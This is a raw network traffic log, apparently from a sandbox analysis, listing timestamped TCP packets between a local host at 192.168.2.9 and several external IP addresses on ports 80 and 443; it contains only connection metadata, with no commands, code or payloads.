Sep 21, 2024 13:33:42.477562904 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477576017 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477576017 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477580070 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477596998 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477605104 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477605104 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477611065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477629900 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477637053 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477637053 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477667093 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477667093 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477673054 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477696896 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477710962 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477725983 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477747917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477756023 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477756023 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477761984 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477771044 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477787971 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477804899 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.477814913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477814913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477843046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.477843046 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478283882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478406906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478420973 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478434086 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478451014 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478466034 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478466034 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478481054 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478496075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478498936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478498936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478509903 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478524923 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478549957 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478549957 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478581905 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478658915 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478672981 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478687048 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478701115 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478703022 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478714943 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478729010 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478730917 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478730917 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478745937 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.478773117 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478773117 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.478797913 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.479402065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.479418039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.479433060 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.479515076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.479681015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.479696989 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.479726076 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.479831934 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.479964972 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480038881 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480381012 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480396032 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480410099 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480422020 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480422020 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480459929 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480459929 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480593920 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480607986 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480617046 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480626106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480854988 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480904102 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480904102 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480904102 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480920076 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.480961084 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480961084 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.480992079 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481007099 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481020927 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481028080 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481050014 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481050014 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481539011 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481554985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481570005 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481583118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481583118 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481584072 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481601954 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481615067 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481631994 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.481642008 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481642008 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481681108 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.481681108 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.492556095 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.492654085 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.492801905 CEST	443	49727	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.492861032 CEST	49727	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.503776073 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.503905058 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.504008055 CEST	443	49726	162.241.61.218	192.168.2.9
Sep 21, 2024 13:33:42.504082918 CEST	49726	443	192.168.2.9	162.241.61.218
Sep 21, 2024 13:33:42.507698059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.507893085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.507909060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.507972002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.507972956 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.510687113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.510704041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.510719061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.510732889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.510763884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.510763884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.511190891 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.531514883 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531673908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531680107 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531683922 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531698942 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531713963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531728983 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531738997 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.531743050 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531759024 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531766891 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531769037 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.531769037 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.531780958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.531816006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.532011032 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.533487082 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533503056 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533516884 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533534050 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533548117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533552885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.533562899 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533567905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.533579111 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533581972 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.533595085 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533602953 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533602953 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.533620119 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.533632040 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.533655882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.535423040 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.544689894 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544817924 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544831991 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544846058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544858932 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544859886 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.544859886 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.544867039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544876099 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544907093 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.544907093 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.544938087 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544951916 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544966936 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544981003 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.544991970 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.544991970 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.544996023 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545010090 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545025110 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545025110 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545025110 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545041084 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545053959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545053959 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545057058 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545087099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545087099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545480013 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545826912 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545842886 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545859098 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545877934 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545885086 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545887947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545902967 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545912981 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545912981 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545919895 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545936108 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545945883 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545957088 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545960903 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545965910 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.545996904 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.545996904 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.546019077 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.546961069 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.546974897 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.546988010 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547002077 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547018051 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547033072 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547036886 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547045946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547058105 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547058105 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547061920 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547076941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547080994 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547091007 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547091961 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547110081 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547115088 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547138929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547151089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547672987 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547688961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547703028 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547719002 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547733068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547740936 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547748089 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547763109 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547772884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547772884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547777891 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547790051 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547792912 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547807932 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547808886 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547818899 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547832012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547847033 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547856092 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547856092 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547861099 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547873974 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547877073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547892094 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547892094 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547908068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.547910929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547943115 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547959089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547959089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.547995090 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548010111 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548023939 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548037052 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548051119 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548063993 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548068047 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548080921 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548083067 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548093081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548098087 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548113108 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548115969 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548124075 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548127890 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548142910 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548156977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548165083 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548172951 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548187971 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548188925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548201084 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548203945 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.548223972 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548233986 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.548249006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.549658060 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.549674988 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.549690008 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.549698114 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.549715042 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.549743891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.549758911 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.550399065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550415039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550430059 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550438881 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550456047 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550488949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550488949 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550549030 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550563097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550585032 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550601006 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550611019 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550616026 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550635099 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550645113 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550645113 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550649881 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550666094 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550681114 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.550682068 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550682068 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550717115 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550717115 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.550924063 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.550939083 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.550951958 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.550966978 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.550982952 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.550990105 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551007986 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551011086 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551026106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551027060 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551039934 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551057100 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551070929 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551070929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551086903 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551091909 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551101923 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551101923 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551116943 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551125050 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551136017 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551148891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.551152945 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.551160097 CEST	49708	80	192.168.2.9	147.45.44.104
